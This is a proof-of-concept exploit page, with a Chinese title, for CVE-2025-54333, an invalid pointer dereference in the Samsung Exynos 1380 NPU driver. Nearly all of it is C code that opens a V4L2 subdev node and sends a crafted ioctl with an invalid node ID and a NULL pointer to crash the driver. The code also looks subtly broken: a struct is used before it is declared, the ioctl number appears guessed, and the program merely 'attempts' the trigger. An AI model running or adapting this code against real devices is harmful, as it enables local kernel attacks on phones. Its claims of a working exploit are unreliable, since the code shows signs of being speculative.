CVE-2025-54333 Samsung Exynos 1380 NPU无效指针解引用漏洞

/* * CVE-2025-54333 PoC - Invalid Pointer Dereference in Exynos 1380 NPU * Target: Samsung Exynos 1380 NPU driver * This PoC demonstrates triggering the vulnerability via V4L2 IOCTL * Note: Requires local access to /dev/v4l-subdev* device nodes */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdint.h> // V4L2 subdev IOCTL definitions #define VIDIOC_SUBDEV_QUERYCAP _IOR('V', 0, struct v4l2_subdev_capability) #define VIDIOC_SUBDEV_G_FMT _IOWR('V', 4, struct v4l2_subdev_format) struct v4l2_subdev_capability { uint32_t version; uint32_t capabilities; uint32_t device_caps; }; struct v4l2_subdev_format { uint32_t which; uint32_t pad; struct v4l2_pix_format format; }; struct v4l2_pix_format { uint32_t width; uint32_t height; uint32_t pixelformat; uint32_t field; uint32_t bytesperline; uint32_t sizeimage; uint32_t colorspace; uint32_t priv; }; int main(int argc, char *argv[]) { int fd; const char *device = "/dev/v4l-subdev0"; if (argc > 1) { device = argv[1]; } printf("Opening NPU subdev: %s\n", device); fd = open(device, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } // Attempt to trigger get_vs4l_profiler_node vulnerability // by sending malformed profiler node request struct { uint32_t node_id; uint32_t flags; void *profiler_data; } vs4l_profiler_node = { .node_id = 0xFFFFFFFF, // Invalid node ID .flags = 0, .profiler_data = NULL // NULL pointer to trigger dereference }; printf("Sending crafted IOCTL to trigger get_vs4l_profiler_node...\n"); // IOCTL to trigger profiler node access long ret = ioctl(fd, _IOWR('V', 100, typeof(vs4l_profiler_node)), &vs4l_profiler_node); if (ret < 0) { printf("IOCTL failed (expected) - error: %ld\n", ret); printf("Vulnerability trigger attempted.\n"); } close(fd); return 0; }